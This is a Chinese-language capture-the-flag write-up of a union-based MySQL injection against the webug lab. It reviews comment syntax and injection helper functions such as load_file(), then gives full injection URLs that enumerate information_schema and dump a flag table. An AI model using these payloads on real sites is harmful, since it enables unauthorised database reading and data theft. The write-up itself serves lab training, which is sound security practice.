0x01 Mysql数据相关知识
1. mysql三种注释风格:
单行注释:sql语句后使用字符#或者--进行注释
多行注释:使用/* */将sql语句圈起来注释
内联注释:内联注释是MySQL数据库为了保持与其他数据库兼容,特意添加的新功能。把Mysql特有的语句放在/*! */中
2.Union联合查询:
1.Union操作符用于拼接两个或者多select查询语句
2.Union中的每个查询必须拥有相同的列数
3.Order by语句:
1.Order by 语句用于根据指定的列对结果集进行排序
2.Order by 语句默认按照升序对记录进行排序
4.Sql注入常用的函数:
1.
user() | 当前用户名 |
current_user() | 当前用户名(权限) |
database() | 当前数据库 |
version() | 数据库版本 |
@@datadir() | 数据库路径 |
load_file() | 读文件 |
into outfile() into dumpfile | 写文件 |
@@basedir() | mysql安装路径 |
0x02 漏洞利用
发现注入点之前先查看一下自己服务器上的phpstudy版本是不是下面这个版本:如果不是请切换,如若不然不会报错。
1.打开靶场,发现url参数id为1,尝试修改为2 发现回显hello,修改为3 发现正常无回显 我们好像意识到了什么。。。
2.探测是否为注入点,经典加 ' 进行探测
发现报错
3.简单构造语句
发现空格没被过滤,但是#号被过滤了
4.试用#的url编码%23尝试继续注入
发现没有报错 问题解决 我们继续
5.通过union判断表中列数(也可通过order by进行探测 )
发现报错 继续探测二列
正常 并且回显2 三列不用探测就知道他是会报错的
6.使用函数替换数字1或2
发现回显
把user()改为database() 发现数据库webug,别的函数自行按照需要替换即可
7.查看webug中数据表(使用上一步探测出来的数据库webug+mysql自带的信息数据表):
http://192.168.72.136/control/sqlinject/manifest_error.php?id=3'union select 1,group_concat(table_name) from information_schema.tables where table_schema='webug' %23
发现目标flag表
8.查看flag数据表中的数据段
http://192.168.72.136/control/sqlinject/manifest_error.php?id=3' union select 1,group_concat(column_name) from information_schema.columns where table_name='flag' %23
发现目标flag段
9.查看数据段内容
http://192.168.72.136/control/sqlinject/manifest_error.php?id=3' union select 1,flag from flag %23
发现flag值
10.提交flag
0x03 总结
比较简单,没有什么过滤和waf啥的,傻瓜式提交即可